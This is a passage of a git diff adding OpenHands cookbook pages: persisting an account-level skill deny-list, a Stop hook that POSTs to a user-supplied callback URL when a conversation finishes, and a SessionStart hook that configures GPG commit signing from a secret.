`Authorization: Bearer `. + +## Related + + + + same App Conversation API pattern, showing how to attach and read back arbitrary metadata. + + + + start a conversation with a plugin pre-loaded, using the same start-task polling flow. + + + + configure which tools the agent has access to (different customisation axis). + + + + + + diff --git a/cookbook/disabled-skills.mdx b/cookbook/disabled-skills.mdx new file mode 100644 index 000000000..18763dc76 --- /dev/null +++ b/cookbook/disabled-skills.mdx @@ -0,0 +1,534 @@ +--- +title: Disabled Skills +description: Persist an account-level deny-list of skills so every conversation starts with them disabled. +icon: ban +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (disabled-skills/README.md). Edit the source, not this file. */} + + + +Keep specific OpenHands skills out of every conversation an account starts, +using the Cloud **Settings API** — the same endpoint the UI's *Settings → +Skills* page toggles. Once installed, the deny-list applies to every +`POST /api/v1/app-conversations` call that account makes, without the +caller having to pass anything on each request. + +`POST /api/v1/settings` with `{"disabled_skills": [...]}` persists an +**account-level** deny-list. On every conversation start the App Server +computes `effective_disabled_skills = member ∪ profile ∪ request` and drops +matching skill names from the `` block that ships in the first +`SystemPromptEvent`. A skill disabled at any level stays off. + +Feature shipped in OpenHands Enterprise **1.62.0** +([enterprise#335](https://github.com/OpenHands/enterprise/pull/335)) and is +also live on OpenHands Cloud. + +## When to Use This + +Prefer the **account-level** setting for anything policy-shaped: + +- The team should never see a certain skill (e.g. no external git + integrations on an internal build; no `docker` when your sandbox base + image can't run nested Docker). +- The deny-list must be enforced consistently — you can't accidentally + start a conversation without it because you forgot the field. +- You don't want callers of the API to have to remember to include + `disabled_skills` on every request. + +Reach for the **per-request** field (`disabled_skills` on +`POST /api/v1/app-conversations`) only as an escape hatch: + +- One-off runs that need extra skills off, on top of the account default. +- Ad-hoc experiments where you're trying deny-lists without touching the + persisted setting. + +## Precedence + +`effective_disabled_skills` (from +`openhands/app_server/app_conversation/live_status_app_conversation_service.py`) +takes the union of three sources, order-preserving, de-duplicated: + +| Level | Where it lives | How to set it | +| ---------------------- | ------------------------------------------------------- | --------------------------------------------------------------------- | +| Account (member) | `user.disabled_skills` | `POST /api/v1/settings` with `disabled_skills: [...]` — this tutorial | +| Launched Agent Profile | `agent_context.disabled_skills` on the resolved profile | `POST /api/v1/settings/profiles/{name}` | +| Per-request | `disabled_skills` on the start request | `POST /api/v1/app-conversations` with `disabled_skills: [...]` | + +A name absent from the discovered skill catalog is a **harmless no-op** — +you can safely include speculative names without failing the request. Names +are matched exactly (case-sensitive) against the `` values returned by +`GET /api/v1/skills/search?q=` (a bare call with no `q` returns +microagents mixed in; pass a prefix like `?q=github` to see the skill names +that appear in the `` block). + +## ⚠ Caveat: Deny-First Means New OpenHands Skills Opt You In + +The current design is a **deny-list**, not an allow-list: anything that isn't +explicitly disabled is loaded. That is deliberately drift-tolerant for most +callers — a name you listed that no longer exists is a no-op, so your config +survives rename/removal — but it has one consequence worth understanding +before you ship this to production: + + + **When the OpenHands team adds a new built-in skill in a future SDK + release, every account whose `disabled_skills` doesn't name it will start + loading it on the next conversation, with no code change on your side.** + + +For most teams that's the desired behaviour: you get new capabilities for +free. But it's a problem when: + +- **Code (yours or an agent's) references skills by name.** A new skill + whose name collides with a trigger keyword or auto-injection rule you + depend on can start firing on turns it didn't fire on yesterday, changing + observable behaviour without a deploy on your side. +- **The deny-list is policy, not preference.** If `disabled_skills` is + there because an auditor said "no external git integrations", the correct + guarantee is "no git integrations ever", not "no git integrations we knew + about at the time". A new `gerrit` or `codecommit` skill would quietly + bypass that intent. +- **You need a stable per-turn context budget.** New skills (even if never + invoked) still show up in the `` block of the dynamic context and + consume tokens. + +### Lock-down pattern: snapshot the catalog, then deny everything else + +When you need tight control, treat the current skill catalog as the +authoritative set and deny everything in it except the names you want to +keep. This inverts the deny-list into an effective allow-list while still +using the only mechanism the server exposes. + +The authoritative source for "what skills does the agent see by default" +is the `` block of a `SystemPromptEvent` on a probe conversation +started with **no** `disabled_skills` set. (`GET /api/v1/skills/search` +without a `q` prefix returns microagents rather than the SDK skills that +appear in ``, so parsing the event is the reliable path — the +same path `disabled_skills.py` uses to verify absence.) + +```python +import re +import requests + +headers = {"Authorization": f"Bearer {api_key}"} +_SKILLS_BLOCK = re.compile(r"(.*?)", re.DOTALL) +_SKILL_NAME = re.compile(r"([^<]+)") + +# 1. Clear any existing deny-list so the probe sees the full catalog. +requests.post( + f"{base_url}/api/v1/settings", headers=headers, json={"disabled_skills": []}, +) + +# 2. Start a probe conversation and poll start-tasks until READY (omitted +# for brevity — see custom-system-prompt/custom_system_prompt.py). +probe_conv_id = start_and_wait(base_url, headers) + +# 3. Read SystemPromptEvent and extract every in . +event = requests.get( + f"{base_url}/api/v1/conversation/{probe_conv_id}/events/search", + headers=headers, + params={"kind__eq": "SystemPromptEvent", "limit": 1}, +).json()["items"][0] + +skills_block = _SKILLS_BLOCK.search(event["dynamic_context"]["text"]).group(1) +all_skill_names = set(_SKILL_NAME.findall(skills_block)) + +# 4. Decide the small set you *do* want. +allowed = {"github", "linear", "uv"} + +# 5. Deny the complement. +requests.post( + f"{base_url}/api/v1/settings", + headers=headers, + json={"disabled_skills": sorted(all_skill_names - allowed)}, +) +``` + +The probe is a one-time cost per catalog refresh; cache +`all_skill_names` and reuse it until the next SDK upgrade. + +Operational notes for teams running this as policy: + +- **Re-snapshot on every SDK or platform upgrade.** A new build may ship + new skill names; your deny-list won't cover them until you refresh it. + Wire the snapshot step into your deploy pipeline (or run it on a + schedule) rather than treating the deny-list as set-and-forget. +- **Diff before you apply.** `set(current) ^ set(snapshot)` tells you + exactly which skill names appeared or disappeared since the last run — + surface that in a code review or audit log so a human owns the decision + about any newcomer. +- **The agent profile is the right place to persist a locked-down set.** + `POST /api/v1/settings/profiles/{name}` holds a `disabled_skills` list + that applies on top of the account-level one, so a `"locked-down"` + profile can carry the full complement without the account default + having to repeat it. + +An explicit allow-list field isn't currently exposed by the API; snapshot + +deny-the-rest is the supported workaround. + +## How It Works + +### 1. Install the account-level deny-list + +```python +requests.post( + f"{base_url}/api/v1/settings", + headers={"Authorization": f"Bearer {api_key}"}, + json={"disabled_skills": ["github", "gitlab", "bitbucket"]}, +) +``` + +This is a partial settings save — the server deep-merges, so sending just +this one field leaves every other setting untouched. It's the exact call +the UI's *Settings → Skills* page makes via +`useSkillMutations.saveDisabledSkills` in +[`frontend/src/hooks/mutation/use-skill-mutations.ts`](https://github.com/OpenHands/enterprise/blob/main/frontend/src/hooks/mutation/use-skill-mutations.ts). + +One footgun: the server treats a `null` payload as "no change" (it copies +the previously-persisted list forward). To clear the deny-list, send `[]`. +`effective_disabled_skills` treats `None` and `[]` identically, so the +observable behaviour is the same. + +### 2. Start a conversation with nothing on the request + +```python +requests.post( + f"{base_url}/api/v1/app-conversations", + headers=headers, + json={ + "initial_message": { + "role": "user", + "content": [{"type": "text", "text": "Say hello."}], + }, + "title": "no per-request disabled_skills", + }, +) +``` + +No `disabled_skills` field is sent — the account-level setting is doing +all the work. + +### 3. Verify from the `SystemPromptEvent` + +The `SystemPromptEvent` is the first event in every conversation. Its +`dynamic_context.text` contains a `...` block listing +every skill the agent can invoke: + +```xml + +The following skills are available. ... + + + github-resilience + ... + + ... + + +``` + +The script parses out every `` and asserts none of the denied names +are present: + +```python +event = requests.get( + f"{base_url}/api/v1/conversation/{conv_id}/events/search", + headers=headers, + params={"kind__eq": "SystemPromptEvent", "limit": 1}, +).json()["items"][0] + +skills_block = re.search( + r"(.*?)", + event["dynamic_context"]["text"], + re.DOTALL, +).group(1) +loaded = re.findall(r"([^<]+)", skills_block) + +assert set(disabled_names).isdisjoint(loaded) +``` + +See the [`custom-system-prompt`](/cookbook/custom-system-prompt) tutorial for +the full shape of `SystemPromptEvent`. + +### 4. Cleanup and restore + +```python +requests.delete(f"{base_url}/api/v1/app-conversations/{conv_id}", headers=headers) +requests.delete( + f"{base_url}/api/v1/sandboxes/{sandbox_id}", + headers=headers, + params={"sandbox_id": sandbox_id}, +) +requests.post( + f"{base_url}/api/v1/settings", + headers=headers, + json={"disabled_skills": original or []}, +) +``` + +The script always restores the original account setting, even on error +(via `try / finally`), so a failed run never leaves the account with a +stuck deny-list. + +## Prerequisites + +```bash +pip install requests +export OH_API_KEY="your-api-key" # Cloud: Profile → API Keys. + # OHE: Settings → API Keys on your instance. +``` + +The account whose API key you use is the one whose `disabled_skills` +setting the script mutates and then restores. + +## Run It + +```bash +# default: 'no-git-integrations' gallery, account-level only +python disabled_skills.py + +# pick a different gallery +python disabled_skills.py --gallery no-docker +python disabled_skills.py --gallery no-github-automations + +# explicit skill names (overrides --gallery) +python disabled_skills.py --disable docker kubernetes pdflatex + +# also start a second conversation with additional per-request skills +# to demonstrate account ∪ request: +python disabled_skills.py --per-request + +# target an OpenHands Enterprise instance: +python disabled_skills.py --base-url https://your-ohe.example.com + +# keep conversations for inspection (account setting is still restored): +python disabled_skills.py --keep +``` + +The script: + +1. Reads and remembers the current account-level `disabled_skills`. +2. Installs the requested deny-list via `POST /api/v1/settings`. +3. Starts a conversation with **no** `disabled_skills` on the request, + proving the account-level setting alone keeps the skills out. +4. Parses `` in `dynamic_context.text` and asserts every disabled + name is absent. +5. Optionally repeats with per-request `disabled_skills` to show union. +6. Deletes the conversation(s) and sandbox(es), and restores the original + account-level setting — the beta instance is left as it was found. + +Exit status is non-zero if any verification fails. + +### Real output + +Captured against `https://app.all-hands.dev` with `--per-request`: + +```text +=== install account-level deny-list === + disabling: ['github', 'gitlab', 'bitbucket', 'bitbucket-cloud', 'bitbucket-data-center', 'azure-devops'] + previous account setting: [] + new account setting: ['github', 'gitlab', 'bitbucket', 'bitbucket-cloud', 'bitbucket-data-center', 'azure-devops'] + +=== conversation 1: no per-request disabled_skills === + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: SETTING_UP_SKILLS + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: STARTING_CONVERSATION + start-task status: READY + conversation: 445d3864b33f4ad594522abddee5169b sandbox: 3sHSpWbMEFoSvEzl9g7NyN + account-only: loaded 103 skills + - github absent + - gitlab absent + - bitbucket absent + - bitbucket-cloud absent + - bitbucket-data-center absent + - azure-devops absent + PASS (account-only): all denied skills absent from SystemPromptEvent + +=== conversation 2: per-request disabled_skills = ['flarglebargle'] (union should be ['github', 'gitlab', 'bitbucket', 'bitbucket-cloud', 'bitbucket-data-center', 'azure-devops', 'flarglebargle']) === + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: WAITING_FOR_SANDBOX + start-task status: SETTING_UP_SKILLS + start-task status: SETTING_UP_SKILLS + start-task status: STARTING_CONVERSATION + start-task status: READY + conversation: f73fc9ad970a4cb88f1030851f47f8a9 sandbox: 2V2xzlr0wGG6oRLLho59jf + account + request: loaded 102 skills + - github absent + - gitlab absent + - bitbucket absent + - bitbucket-cloud absent + - bitbucket-data-center absent + - azure-devops absent + - flarglebargle absent + PASS (account + request): all denied skills absent from SystemPromptEvent + +=== cleanup === + deleted conversation 445d3864b33f4ad594522abddee5169b + deleted sandbox 3sHSpWbMEFoSvEzl9g7NyN + deleted conversation f73fc9ad970a4cb88f1030851f47f8a9 + deleted sandbox 2V2xzlr0wGG6oRLLho59jf + +=== restore original account-level setting === + restored account setting: [] +``` + +Conversation 1 loaded 103 skills; conversation 2 loaded 102 (the extra +`flarglebargle` denial removed one). Every denied name is absent from +the `` block of the `SystemPromptEvent`. + +## Deny-List Gallery + +Common recipes, all exposed through `--gallery`: + +### `no-git-integrations` + +Drop every git-hosting integration skill. Useful for internal-only +environments or when you're deliberately keeping the agent off customer +repos. + +```python +[ + "github", + "gitlab", + "bitbucket", + "bitbucket-cloud", + "bitbucket-data-center", + "azure-devops", +] +``` + +### `no-browser` + +Turn off skills whose primary value is browsing/preview flows. (The +browser *tool* itself is off via the agent config, not this deny-list; +see [`../custom-agent-no-browser/`](/cookbook/custom-agent-no-browser).) + +```python +["frontend-design", "vercel"] +``` + +### `no-docker` + +Keep the agent out of Docker and Kubernetes skills — appropriate when +your sandbox base image doesn't support nested Docker. + +```python +["docker", "kubernetes"] +``` + +### `no-github-automations` + +Keep the general `github` skill available but hide the automation +recipes (workflows, monitors, watchdogs) if they're not for this team. + +```python +[ + "github-actions", + "github-agents-md-maintainer", + "github-delivery-watchdog", + "github-issue-to-pr", + "github-issue-triage", + "github-pr-review", + "github-pr-reviewer", + "github-repo-monitor", + "github-stale-ci-pr-closer", +] +``` + +Roll your own with `--disable name1 name2 name3`. Skill names come from +`GET /api/v1/skills/search?q=`. + +## Per-Request Escape Hatch + +Set `disabled_skills` on the start request to *extend* the deny-list for +a single conversation: + +```python +requests.post( + f"{base_url}/api/v1/app-conversations", + headers=headers, + json={ + "disabled_skills": ["flarglebargle"], + "initial_message": { + "role": "user", + "content": [{"type": "text", "text": "Say hello."}], + }, + "title": "one-off deny-list bump", + }, +) +``` + +The three levels union — you can't *re-enable* an account- or +profile-level denial by omitting it here. If the account has `[github]` +and the request sends `[docker]`, the effective deny-list is +`[github, docker]`. + +## Feature Availability + +- OpenHands Cloud (currently deployed) +- OpenHands Enterprise **1.62.0+** + ([enterprise#335](https://github.com/OpenHands/enterprise/pull/335)) + +To verify on a specific deployment, look for `disabled_skills` in both the +`GETSettingsModel` and the `AppConversationStartRequest-Input` schemas: + +```bash +curl -s https://your-deployment/openapi.json | jq ' + .components.schemas.GETSettingsModel.properties.disabled_skills, + .components.schemas["AppConversationStartRequest-Input"].properties.disabled_skills +' +``` + +To confirm the endpoint you're calling is the same one the UI uses, +grep the enterprise frontend: + +```bash +gh repo clone OpenHands/enterprise +grep -rn "disabled_skills" enterprise/frontend/src/hooks/mutation/ +# -> use-skill-mutations.ts calls SettingsService.saveSettings({ disabled_skills }) +# -> settings-service.api.ts posts to /api/v1/settings +``` + +## APIs Used + +| Endpoint | Method | Purpose | +| ----------------------------------------- | ------ | ---------------------------------------------------- | +| `/api/v1/settings` | GET | Read current account `disabled_skills` (for restore) | +| `/api/v1/settings` | POST | Install / clear the account-level deny-list | +| `/api/v1/app-conversations` | POST | Start the conversation (`disabled_skills` optional) | +| `/api/v1/app-conversations/start-tasks` | GET | Poll the start task for `app_conversation_id` | +| `/api/v1/conversation/{id}/events/search` | GET | Read `SystemPromptEvent` to verify | +| `/api/v1/app-conversations/{id}` | DELETE | Delete the conversation | +| `/api/v1/sandboxes/{id}?sandbox_id={id}` | DELETE | Delete the sandbox | +| `/api/v1/skills/search?q=` | GET | Discover valid skill names for the deny-list | + +All calls use `Authorization: Bearer `. + +## Related + + + + sibling tutorial covering the other half of enterprise#335: replacing the static system prompt. + + + + turn off the browser tool (a different customisation axis; deny-list here operates on skills). + + + + start a conversation with a plugin pre-loaded, using the same start-task polling flow. + + + + + + diff --git a/cookbook/finish-callback.mdx b/cookbook/finish-callback.mdx new file mode 100644 index 000000000..3a6e9d502 --- /dev/null +++ b/cookbook/finish-callback.mdx @@ -0,0 +1,289 @@ +--- +title: Finish Callback +description: Notify an external URL when a conversation finishes using a Stop hook. +icon: bell +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (finish-callback/README.md). Edit the source, not this file. */} + + + +A self-contained example showing how to **notify an external URL the moment a +conversation finishes**, using a **Stop hook** — instead of finding out only by +polling. When the agent reaches a terminal state, the hook `POST`s to a URL you +control, optionally attaching a payload file's contents. + +This is the "push instead of poll" pattern: keep your existing polling loop as a +safety net, but let the callback wake you up immediately in the common case. + +[![Load Finish Callback](https://img.shields.io/badge/Load%20Finish%20Callback-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAiZmluaXNoLWNhbGxiYWNrL29oLWZpbmlzaC1jYWxsYmFjayJ9XQ%3D%3D\&message=Say%20hello%20and%20then%20finish.) + + + **About the badge:** clicking it loads the plugin into a fresh conversation, + but the `/launch` route only carries `plugins` + `message` — **not secrets**. + Without `OH_CALLBACK_URL` the hook is a deliberate no-op, so the badge is a + "see the plugin load" demo. To actually receive a callback you must supply the + secrets, which means the API path below (`load_finish_callback.py`) or your own + call to `POST /api/v1/app-conversations` with a `secrets` field. + + + + **No customer information lives in this plugin.** The callback URL, an optional + shared-secret token, and an optional payload file path all come from + **conversation secrets** at start time. The repo ships only a local test + receiver so you can prove the end-to-end flow against your own machine. + + +## What's in the Box + +```text +finish-callback/ +├── callback_receiver.py # tiny stdlib web server (the demo receiver) +├── load_finish_callback.py # turnkey: start a conversation + pass the secrets +├── example-payload.json # optional POST body you can point the hook at +└── oh-finish-callback/ # the plugin (load this into a conversation) + ├── .claude-plugin/ + │ └── plugin.json # plugin manifest + ├── hooks/ + │ ├── hooks.json # the Stop hook (this is what actually runs) + │ └── on_stop.sh # readable source of the inline hook script + └── skills/ + └── oh-finish-callback/ + └── SKILL.md # docs (auto-loaded) +``` + +## How It Works + +```mermaid +flowchart TD + A["Agent finishes its work → conversation reaches FINISHED"] --> B["Stop hook fires (before the stop is finalized)"] + B --> B1["reads OH_CALLBACK_URL / OH_CALLBACK_TOKEN / OH_CALLBACK_PAYLOAD from env"] + B1 --> B2["builds the body: your payload file, or a small default JSON envelope"] + B2 --> B3["POSTs to your URL (async, best-effort, short timeout)"] + B3 --> C["Agent stops normally (the hook always exits 0 — it never blocks)"] + C --> D["Your receiver gets the POST and reacts immediately"] +``` + +## Configuration + +Everything is supplied as **conversation secrets** — nothing is hard-coded: + +| Variable | Required | Meaning | +| --------------------- | -------- | ----------------------------------------------------------------------------------------------------------------------- | +| `OH_CALLBACK_URL` | Yes | Where to `POST`. If unset, the hook is a harmless no-op. | +| `OH_CALLBACK_TOKEN` | No | Sent as the `X-Callback-Token` header so your receiver can verify the caller. | +| `OH_CALLBACK_PAYLOAD` | No | Path (inside the sandbox) to a JSON file whose raw contents become the POST body. Omit it to send the default envelope. | + +Default body when no payload file is given: + +```json +{"status": "finished", "session_id": "", "finished_at": ""} +``` + +## Run It + +You need two things reachable from the sandbox: a **running receiver** and a +**public URL** that forwards to it. The receiver is stdlib-only; the loader +needs `requests`: + +```bash +pip install requests +``` + +You'll also need a Cloud API key (`export OH_API_KEY="sk-oh-..."`). + +### 1. Start the receiver + +```bash +cd finish-callback +python callback_receiver.py --port 8000 +# add --token s3cr3t to require the X-Callback-Token header +``` + +It prints every POST it receives (pretty-printed JSON) and replies `204`. + +### 2. Expose it to the internet + +The sandbox runs in the cloud, so it needs a public URL to reach your laptop. +Use any tunnel, e.g.: + +```bash +# examples — pick whichever you have +cloudflared tunnel --url http://localhost:8000 +ngrok http 8000 +``` + +Note the public `https://…` URL it gives you. That's your `OH_CALLBACK_URL`. + +### 3. Start a conversation with the plugin loaded + +Use the bundled turnkey helper. It loads the plugin **and** passes the callback +settings as conversation secrets, so the Stop hook picks them up as environment +variables: + +```bash +cd finish-callback +export OH_API_KEY="sk-oh-..." # Cloud API key +python load_finish_callback.py \ + --callback-url "https://your-tunnel.example/oh_finish" \ + --callback-token "s3cr3t" + +# Expected: when the agent finishes, your receiver prints a POST like: +# {"status": "finished", "session_id": "...", "finished_at": "..."} +``` + +To send your own body instead of the default envelope, add +`--callback-payload "/path/in/sandbox/body.json"` (the path is resolved inside +the sandbox, not on your laptop). + +**Prefer the generic loader?** [`load-plugin`](/cookbook/load-plugin) does the same +thing with `--secret` flags: + +```bash +cd ../load-plugin +python load_plugin.py \ + --repo-path finish-callback/oh-finish-callback \ + --message "Say hello and then finish." \ + --secret OH_CALLBACK_URL="https://your-tunnel.example/oh_finish" \ + --secret OH_CALLBACK_TOKEN="s3cr3t" +``` + + + **Heads-up:** the callback fires on **every** transition to `FINISHED` — so it + also covers follow-up messages you send later, not just the first run. + + +## Verify the Hook Locally (No Sandbox Needed) + +You can exercise the exact hook script against a local receiver in one shell: + +```bash +cd finish-callback +python callback_receiver.py --port 8000 & # start receiver + +echo '{"event_type":"Stop"}' \ + | OPENHANDS_SESSION_ID="local-test" \ + OH_CALLBACK_URL="http://127.0.0.1:8000/oh_finish" \ + sh oh-finish-callback/hooks/on_stop.sh # run the hook + +# The receiver prints the POST it just got. +``` + +## The Hook + +The magic is in [`hooks/hooks.json`](https://github.com/OpenHands/enterprise-cookbook/blob/main/finish-callback/oh-finish-callback/hooks/hooks.json): + +```json +{ + "hooks": { + "Stop": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "cat >/dev/null; ... curl -s -m 10 -X POST \"$OH_CALLBACK_URL\" ...; exit 0", + "timeout": 15, + "async": true + } + ] + } + ] + } +} +``` + +**How it works:** + +1. **`Stop`** — runs when the agent tries to finish (the terminal-state moment). +2. **`matcher: "*"`** — Stop hooks aren't tool-specific, so match everything. +3. **`type: "command"`** — the `command` is a POSIX-sh script run via `/bin/sh -c`. +4. **`async: true`** — fire-and-forget, so the callback never delays finishing. +5. **Exit codes:** `0` = allow the agent to finish (this hook always does); + `2` would *block* finishing (we deliberately never do that). + +The script reads its config from the environment, builds the body, and `curl`s +your URL with a short timeout, swallowing errors. + + + **Why inline (not a reference to the bundled `on_stop.sh`)?** When hooks run as + a **plugin**, they execute with the working directory set to the agent's + workspace (not the plugin directory), and there is no plugin-root path + variable — so a relative path like `hooks/on_stop.sh` won't resolve. + [`on_stop.sh`](https://github.com/OpenHands/enterprise-cookbook/blob/main/finish-callback/oh-finish-callback/hooks/on_stop.sh) is kept as the readable, + locally-testable **source of truth**; the identical script is embedded inline + in `hooks.json`, which is the copy that actually runs. If you edit the script, + re-embed it: + + ```bash + python - <<'PY' + import json + s = open("oh-finish-callback/hooks/on_stop.sh").read() + cfg = {"hooks": {"Stop": [{"matcher": "*", "hooks": [ + {"type": "command", "command": s, "timeout": 15, "async": True}]}]}} + json.dump(cfg, open("oh-finish-callback/hooks/hooks.json", "w"), indent=2) + open("oh-finish-callback/hooks/hooks.json", "a").write("\n") + PY + ``` + + +## Reliability: Callback + Polling + +The callback is a **latency optimization, not a delivery guarantee**. It won't +fire if: + +- the sandbox dies or the run errors out before reaching `FINISHED`, +- the receiver is down or the URL is unreachable, or +- the POST times out. + +So keep your polling loop as the **safety net** and treat the callback as the +fast path. That's exactly the hybrid the pattern is designed for: react +immediately when the callback arrives, fall back to polling when it doesn't. + +## Hook Types + +Hooks can intercept different lifecycle events: + +| Hook | When It Runs | Can Block? | Use Case | +| ---------------- | ---------------------------------- | -------------- | -------------------------------------- | +| PreToolUse | Before tool execution | ✅ Yes (exit 2) | Command validation | +| PostToolUse | After tool execution | ❌ No | Logging, metrics | +| UserPromptSubmit | Before processing user message | ✅ Yes | Content filtering | +| **Stop** | **When the agent tries to finish** | ✅ Yes | **Finish notification (this example)** | +| SessionStart | When a conversation starts | ❌ No | Setup, logging | +| SessionEnd | When a conversation ends | ❌ No | Cleanup | + +## Real-World Use Cases + +- **Windmill / workflow engines** — get pinged when a run finishes instead of polling every few seconds +- **CI pipelines** — kick off the next stage the moment the agent is done +- **Dashboards / queues** — mark a job complete in real time +- **Chat notifications** — post "run finished" to Slack/Teams from your own backend + +## Related + + + + full hook documentation + + + + how plugins work + + + + load this plugin (and pass secrets) via the REST API + + + + the PreToolUse example this one is modeled on + + + + turn a plugin into a no-code launch link + + + + attach metadata (like an external URL) to a conversation + + diff --git a/cookbook/gpg-commit-signing.mdx b/cookbook/gpg-commit-signing.mdx new file mode 100644 index 000000000..9098d5d81 --- /dev/null +++ b/cookbook/gpg-commit-signing.mdx @@ -0,0 +1,194 @@ +--- +title: GPG Commit Signing +description: Configure GPG commit signing on every conversation with a SessionStart hook that imports a key from a custom secret. +icon: file-signature +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (gpg-commit-signing/README.md). Edit the source, not this file. */} + + + +Configure **GPG commit signing at the start of every conversation** — not just +when a repository is selected — using a `SessionStart` hook bundled in a plugin. + +The [`gpg-signer/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/gpg-commit-signing/gpg-signer) plugin imports a private key from a +[custom secret](#the-secret) and configures git to sign commits and tags +**globally**, so signing applies to any repo the agent clones during the +session. + +## The problem this solves + +Teams often configure signing today in `.openhands/setup.sh`: + +```bash +#!/bin/bash +set -euo pipefail +echo "$gpg_key" | gpg --import +KEY_ID=$(echo "$gpg_key" | gpg --show-keys --with-colons | awk -F: '/^fpr/{print $10; exit}') +git config user.signingkey "$KEY_ID" +git config commit.gpgsign true +git config user.name "$git_user_name" +git config user.email "$git_user_email" +``` + +But **`setup.sh` only runs when the conversation is started with a repository +selected.** Start a conversation with no repo (or have the agent clone a repo +later) and signing is silently missing. + +A **`SessionStart` hook runs at the beginning of *every* conversation**, +regardless of whether a repo was picked — exactly when you want signing set up. +That is the whole idea behind this example. + +## Why the hook can read the same secret as `setup.sh` + +On the agent-server, hook scripts and `setup.sh` execute against the **same +process environment**. A custom secret named `gpg_key` that `setup.sh` can read +as `$gpg_key` is visible to the `SessionStart` hook the same way — so the logic +you already run in `setup.sh` moves into the hook almost verbatim. + +Two differences from the raw `setup.sh` version, both deliberate: + +- **`git config --global`** instead of a bare `git config`. There is no + repository yet when `SessionStart` fires, and a global config applies to every + repo cloned afterwards. +- **Never fails the session.** `SessionStart` hooks cannot block, so on any + problem (missing secret, bad key) the hook logs the reason to + `/tmp/openhands_gpg_setup.log` and exits `0`. + +## The secret + +Add these under **Settings → Secrets** in OpenHands (or pass them per +conversation via the API): + +| Secret name | Contents | Required | +| ---------------- | ---------------------------------------------------------------------------------- | -------- | +| `gpg_key` | ASCII-armored **private** key — `gpg --armor --export-secret-keys you@example.com` | Yes | +| `git_user_name` | Git author name | Optional | +| `git_user_email` | Git author email (should match a key UID) | Optional | + +If `gpg_key` is absent the hook does nothing (and says so in the log), so it is +safe to load the plugin for everyone and let it activate only where a key is +configured. + +> Secret names are configurable through the `GPG_KEY_SECRET_NAME`, +> `GIT_USER_NAME_SECRET_NAME`, and `GIT_USER_EMAIL_SECRET_NAME` environment +> variables if your org uses different names. + +## What's in the box + +```text +gpg-signer/ +├── .claude-plugin/ +│ └── plugin.json # Plugin metadata +├── hooks/ +│ ├── hooks.json # SessionStart hook (inline script) +│ └── scripts/ +│ └── configure_gpg_signing.sh # Readable reference copy of the inline script +└── skills/ + └── gpg-signer/ + └── SKILL.md # Docs the agent reads (auto-loaded) +``` + +## The hook + +The logic lives in [`hooks/hooks.json`](https://github.com/OpenHands/enterprise-cookbook/blob/main/gpg-commit-signing/gpg-signer/hooks/hooks.json) under the +`SessionStart` event: + +```json +{ + "hooks": { + "SessionStart": [ + { + "matcher": "*", + "hooks": [ + { "type": "command", "command": "…import key + git config --global…", "timeout": 30 } + ] + } + ] + } +} +``` + +**How it works:** + +1. **`SessionStart`** — runs once, when the conversation begins (no repo needed). +2. Reads the armored key from `$gpg_key`, imports it with `gpg --batch --import`. +3. Extracts the primary key fingerprint (`gpg --show-keys --with-colons`). +4. Sets `user.signingkey`, `commit.gpgsign true`, `tag.gpgsign true`, and + `gpg.program` **globally**, plus the optional identity secrets. +5. Exits `0` always; all human-readable output goes to + `/tmp/openhands_gpg_setup.log` (on a successful hook, stdout is parsed as + JSON, so it is kept clean). + +> **Why the script is inlined (and mirrored in `hooks/scripts/`).** When this +> runs as a **plugin**, hooks execute with the working directory set to the +> agent's workspace (not the plugin directory), and there is no plugin-root path +> variable — so `command` **cannot** point at a bundled +> `hooks/scripts/*.sh`. The runnable copy is therefore inlined in `hooks.json`; +> [`hooks/scripts/configure_gpg_signing.sh`](https://github.com/OpenHands/enterprise-cookbook/blob/main/gpg-commit-signing/gpg-signer/hooks/scripts/configure_gpg_signing.sh) +> is a readable reference that mirrors it. Edit the reference first, then mirror +> it into `hooks.json`. (Same pattern as the +> [`workspace-isolation`](/cookbook/workspace-isolation) example.) + +## Try it + +### Option 1: Load via API + +Use the companion [`load-plugin`](/cookbook/load-plugin) example. Because the plugin +needs your key, pass it as a per-conversation secret: + +```bash +cd ../load-plugin +python load_plugin.py \ + --repo-path gpg-commit-signing/gpg-signer \ + --secret gpg_key="$(gpg --armor --export-secret-keys you@example.com)" \ + --secret git_user_name="Your Name" \ + --secret git_user_email="you@example.com" \ + --message "Show me the output of: git config --global --get commit.gpgsign and git config --global --get user.signingkey" + +# Expected: commit.gpgsign=true and user.signingkey= +``` + +> If you have already stored `gpg_key` as a user-level secret, the `--secret` +> flags are unnecessary — the hook will pick it up automatically. + +### Option 2: Launch via badge + +Store `gpg_key` as a user secret first (the badge can't carry your private key), +then click: + +[![Try GPG Signer](https://img.shields.io/badge/Try%20GPG%20Signer-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAiZ3BnLWNvbW1pdC1zaWduaW5nL2dwZy1zaWduZXIifV0%3D\&message=Show%20me%20the%20output%20of%3A%20git%20config%20--global%20--get%20commit.gpgsign%20and%20git%20config%20--global%20--get%20user.signingkey) + +> **Note:** Replace `ref: main` with your branch name if testing before merge. + +## Verifying a signed commit + +Once the hook has run, any commit is signed: + +```bash +git clone https://github.com/octocat/Hello-World && cd Hello-World +echo "test" >> README && git commit -am "signed test" +git log --show-signature -1 # -> "Good signature from ..." +``` + +## Hook types + +`SessionStart` is one of several lifecycle events you can hook. See the other +examples for blocking hooks: + +| Hook | When It Runs | Can Block? | Example | +| ---------------- | ------------------------------ 